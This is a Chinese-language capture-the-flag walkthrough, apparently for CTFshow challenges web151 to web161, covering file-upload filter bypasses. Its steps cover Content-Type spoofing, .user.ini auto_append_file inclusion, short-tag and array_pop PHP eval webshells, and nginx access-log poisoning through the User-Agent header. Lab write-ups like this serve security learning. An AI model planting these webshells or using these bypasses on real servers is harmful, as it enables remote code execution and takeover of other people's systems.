目录
web151
提示前台验证不可靠 那限制条件估计就是在前端设置的
上传php小马后 弹出了窗口说不支持的格式
查看源码
这一条很关键 这种不懂直接ai搜 意思就是限制了上传类型 允许的后缀格式为png
我们直接修改并且上传小马
给出了上传路径 访问传参即可 得出flag
方法二 因为是前端验证嘛
修改小马后缀为png bp抓包修改回来也可以
web152
提示后端管的严
就算把前端允许的格式修改为php也不行 后端返回个报错信息 文件类型不允许
抓包修改类型为PNG
Content-Type: application/octet-stream
修改为
Content-Type: image/png
成功
获取flag
web153
依旧显示文件类型不合规
修改类型不行了
修改后缀也不行 那么估计就是对文件内容进行检测了 在文件的内容前加入PNG头标识也不行
可能即使后端判断后缀太严格只要是.php就不行
发现upload下有个index.php文件 那就可以使用.user.ini的方式了
php.ini是php的配置文件 定义全局的 .user.ini也是配置文件作用与目录的 优先级比全局配置文件高 前提是当前目录下有php文件 那么在.user.ini配置文件定义当前目录所有php文件包含一个指定的php文件 即可 但是这个指定的php文件也需要我们上传 我们无法上传php 才想到的.user.ini 所以包含一个txt文件也可以的 只要是txt文件内容是php内容 文件包含过来就会解析txt里面的php内容
首先上传.user.ini文件 内容为auto_append_file=1.txt
首先就是前端允许类型为ini这样通过前端 后端修改类型为image/png通过后端 要记得在user.ini前增加一个. 必须在bp中增加(在本地.开头可能会不让) 因为全称就是.user.ini
上传txt文件
依旧是先绕过前端 后端文件类型修改为image/png
访问/upload即可 并传入post参数为我们的命令
web154
以上一题的方法试一下
.user.ini文件成功上传
但是txt文件上传失败说是文件内容不可以
经过测试只要是文件中存在php就不可以
使用php短标签格式即可
获取flag
web155
同web154
使用蚁剑连接查看过滤源码发现 确实过滤了php并且过滤文件的内容 以及判断类型
web156
同web154
区别文件内容又过滤了[] 导致小马不能用 换成{}即可
<?=eval($_POST[1]);?>
<?=eval($_POST{1});?>
注意 判断过滤什么 使用二分法 一半一半测试
web157
同web154
额外多过滤了{}以及;号 不影响直接删除即可
因为 在php中最后一个;可以不用写
上一题去除分号即可
{}问题如何解决 多学一个姿势POST不给参数也可以
一句话木马为
<?=eval(array_pop($_POST));?>
去除分号
<?=eval(array_pop($_POST))?>
意思就是弹出post最后一对键值对的值 从而php解析这个值 从而达到执行命令
web158
使用web157即可
web159
文件内容()不让用了 那就不能写一句话木马了
还有什么方式呢 那就是 首先ini文件包含一个1.txt文件 1.txt文件的php内容为包含U-A日志文件
/var/log/nginx/access.log 然后U-A 添加一句话木马 即可 这个log也被过滤了 使用 . 拼接即可
.user.ini 内容为 auto_append_file=1.txt
1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>
添加U-A值 <?php eval($_POST[1]); ?>
目前来说日志确实被包含了 但是内容太多 手动执行命令不好找 并且也不确定一句话是否被写入日志中 使用蚁剑连接测试即可
成功
找到了flag
既然已经使用蚁剑进行连接了 那就看看这几关后端是怎么过滤的吧
后端过滤脚本
可以看到文件内容过滤了 php ( [ { ; log
并且验证文件类型是否为image/png 以及后缀是否是php
web160
文件内容过滤了空格 很容易我们将空格换成换行符0a即可 不能再post中直接写%0a 那个url的写法 先用1进行占位 再hex中找到1对应的31 修改为0a即可
web161
经过bp测试 不让上传ini后缀的文件了 txt也不行 png也不行 估计是白名单?
我重新来 直接在页面中上传png图片 结果也说图片不合规 这是啥都不让上传?
真有意思前端允许类型是png 后端却不可以了
经过测试 后缀只要不是php就可以 文件类型必须要是png 文件头内容必须是GIF头(并且光有头不行 还必须要有内容)
既然知道这样了 按照上一题
上传.user.ini 内容为 auto_append_file=1.txt
上传1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>(过滤了空格 记得替换09等)
添加U-A值 <?php eval($_POST[1]); ?>
并且文件内容前必须要加上GIF的头字段(我查看源码也不明白原因 有个函数获取该文件大小 也就是说 文件头要和文件对应 才会返回真 这个GIF文件头组合任意内容 该函数都会返回真 这是我的理解)
确定包含日志
蚁剑连接成功确实 木马写入 查找flag
在这里说一下 这些题目都是再上一题的基础上再增加过滤条件的 所以就是上一关禁用的 下一关也会被禁用
先发到web161 之后的需要vps长地址 目前弄不出来长地址 导致只能做到这